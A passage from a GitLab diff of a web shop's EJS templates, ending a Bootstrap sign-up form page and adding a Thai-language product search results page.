#6c757d; +} + +@media (min-width: 768px) { + .bd-placeholder-img-lg { + font-size: 2.5rem; + } +} + +.b-example-divider { + width: 100%; + height: 3rem; + background-color: rgba(0, 0, 0, 0.05); + border: solid rgba(0, 0, 0, 0.1); + border-width: 1px 0; + box-shadow: inset 0 0.25em 1em rgba(0, 0, 0, 0.05), inset 0 0.125em 0.5em rgba(0, 0, 0, 0.1); + margin-bottom: 20px; +} + +.b-example-vr { + flex-shrink: 0; + width: 1.5rem; + height: 100vh; + background-color: #f8f9fa; +} + +.bi { + vertical-align: -0.125em; + fill: currentColor; +} + +.nav-scroller { + position: relative; + z-index: 2; + height: 3rem; + overflow-y: hidden; + overflow-x: auto; + text-align: center; + white-space: nowrap; + -webkit-overflow-scrolling: touch; + scroll-behavior: smooth; +} + +.nav-scroller .nav { + display: flex; + flex-wrap: nowrap; + padding-bottom: 0.5rem; + margin-top: -1px; + overflow-x: auto; + gap: 10px; +} + +.btn-bd-primary { + --bd-violet-bg: #712cf9; + --bd-violet-rgb: 112, 44, 249; + + font-weight: 600; + color: #ffffff; + background-color: var(--bd-violet-bg); + border: 1px solid var(--bd-violet-bg); + padding: 10px 16px; + border-radius: 8px; + transition: background-color 0.2s ease, transform 0.1s ease; + box-shadow: 0 4px 12px rgba(var(--bd-violet-rgb), 0.2); + display: inline-block; +} + +.btn-bd-primary:hover { + background-color: #6528e0; + border-color: #6528e0; + transform: translateY(-2px); + box-shadow: 0 6px 16px rgba(var(--bd-violet-rgb), 0.3); +} + +.btn-bd-primary:active { + background-color: #5a23c8; + border-color: #5a23c8; + transform: translateY(0); + box-shadow: 0 4px 12px rgba(var(--bd-violet-rgb), 0.2); +} + +.bd-mode-toggle { + z-index: 1500; + position: fixed; + top: 10px; + right: 10px; +} + +.bd-mode-toggle .dropdown-menu .active .bi { + display: block !important; +} + + </style> + + + <!-- Custom styles for this template --> + <link href="/css/sign-in.css" rel="stylesheet"> + </head> + <body class="d-flex align-items-center py-4 bg-body-tertiary"> + <svg xmlns="http://www.w3.org/2000/svg" class="d-none"> + <symbol id="check2" viewBox="0 0 16 16"> + <path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/> + </symbol> + <symbol id="circle-half" viewBox="0 0 16 16"> + <path d="M8 15A7 7 0 1 0 8 1v14zm0 1A8 8 0 1 1 8 0a8 8 0 0 1 0 16z"/> + </symbol> + <symbol id="moon-stars-fill" viewBox="0 0 16 16"> + <path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/> + <path d="M10.794 3.148a.217.217 0 0 1 .412 0l.387 1.162c.173.518.579.924 1.097 1.097l1.162.387a.217.217 0 0 1 0 .412l-1.162.387a1.734 1.734 0 0 0-1.097 1.097l-.387 1.162a.217.217 0 0 1-.412 0l-.387-1.162A1.734 1.734 0 0 0 9.31 6.593l-1.162-.387a.217.217 0 0 1 0-.412l1.162-.387a1.734 1.734 0 0 0 1.097-1.097l.387-1.162zM13.863.099a.145.145 0 0 1 .274 0l.258.774c.115.346.386.617.732.732l.774.258a.145.145 0 0 1 0 .274l-.774.258a1.156 1.156 0 0 0-.732.732l-.258.774a.145.145 0 0 1-.274 0l-.258-.774a1.156 1.156 0 0 0-.732-.732l-.774-.258a.145.145 0 0 1 0-.274l.774-.258c.346-.115.617-.386.732-.732L13.863.1z"/> + </symbol> + <symbol id="sun-fill" viewBox="0 0 16 16"> + <path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/> + </symbol> + </svg> + +<main class="form-signin w-100 m-auto"> + <form action="/user/register" method="POST"> + <h1 class="h3 mb-3 fw-normal">Sign up</h1> + + <div class="form-floating"> + <label for="floatingInput">Email address</label> + <input type="email" class="form-control" id="floatingInput" name="email" placeholder="name@example.com"> + </div> + <div class="form-floating"> + <label for="floatingPassword">Password</label> + <input type="password" class="form-control" id="floatingPassword" name="rpassword" placeholder="Password"> + </div> + + <div class="form-check text-start my-3"> + <input class="form-check-input" type="checkbox" value="remember-me" id="flexCheckDefault"> + <label class="form-check-label" for="flexCheckDefault"> + Remember me + </label> + </div> + <button class="btn btn-primary w-100 py-2" type="submit">Sign up</button> </form> - <a href="/">Back to Home</a> -</body> -</html> +</main> +<script src="/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script> + + </body> +</html> \ No newline at end of file diff --git a/views/searchResults.ejs b/views/searchResults.ejs new file mode 100644 index 0000000..2812c5c --- /dev/null +++ b/views/searchResults.ejs @@ -0,0 +1,106 @@ +<!DOCTYPE html> +<html lang="th"> +<head> + <meta charset="UTF-8"> + <meta name="viewport" content="width=device-width, initial-scale=1"> + <title>ผลลัพธ์การค้นหา "<%= searchQuery %>"</title> + <!-- Bootstrap CSS --> + <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css"> + <link rel="stylesheet" href="/css/searchResults.css"> + <style> +body { + background-color: #f5f5f5; + color: #333; + font-family: Arial, sans-serif; +} + +.container { + max-width: 1200px; + margin: 30px auto; + padding: 20px; +} + +.product-card { + border: 1px solid #e0e0e0; + border-radius: 12px; + padding: 20px; + box-shadow: 0 6px 16px rgba(0, 0, 0, 0.08); + margin-bottom: 20px; + background: #ffffff; + transition: transform 0.2s ease, box-shadow 0.2s ease; +} + +.product-card:hover { + transform: translateY(-5px); + box-shadow: 0 12px 24px rgba(0, 0, 0, 0.12); +} + +.product-card img { + max-width: 120px; + height: 120px; + object-fit: cover; + border-radius: 8px; + transition: transform 0.2s ease; +} + +.product-card img:hover { + transform: scale(1.05); +} + +.btn-orange { + background-color: #ff6600; + color: #ffffff; + border: none; + padding: 8px 16px; + border-radius: 6px; + cursor: pointer; + font-size: 14px; + font-weight: 600; + transition: background-color 0.2s ease, transform 0.1s ease; + display: inline-block; +} + +.btn-orange:hover { + background-color: #cc5200; + transform: translateY(-2px); +} + +.btn-orange:active { + background-color: #b34700; + transform: translateY(0); +} + + </style> +</head> +<body> + +<div class="container"> + <h2 class="text-center mb-4">ผลลัพธ์การค้นหา "<%= searchQuery %>"</h2> + + <% if (products.length > 0) { %> + <div class="row"> + <% products.forEach(product => { %> + <div class="col-md-4"> + <div class="product-card text-center"> + <img src="<%= product.image %>" alt="<%= product.product_name %>"> + <h4 class="mt-2"><%= product.product_name %></h4> + <p class="text-warning"><strong>ราคา:</strong> <%= product.price %> บาท</p> + <p><%= product.description %></p> + <a href="/product/<%= product.product_id %>" class="btn btn-orange">ดูรายละเอียด</a> + </div> + </div> + <% }) %> + </div> + <% } else { %> + <p class="text-center text-danger">ไม่พบสินค้าที่ตรงกับคำค้นหา</p> + <% } %> + + <div class="text-center mt-3"> + <a href="/" class="btn btn-secondary">กลับหน้าหลัก</a> + </div> +</div> + +<!-- Bootstrap JS --> +<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> +</body> +</html> -- GitLab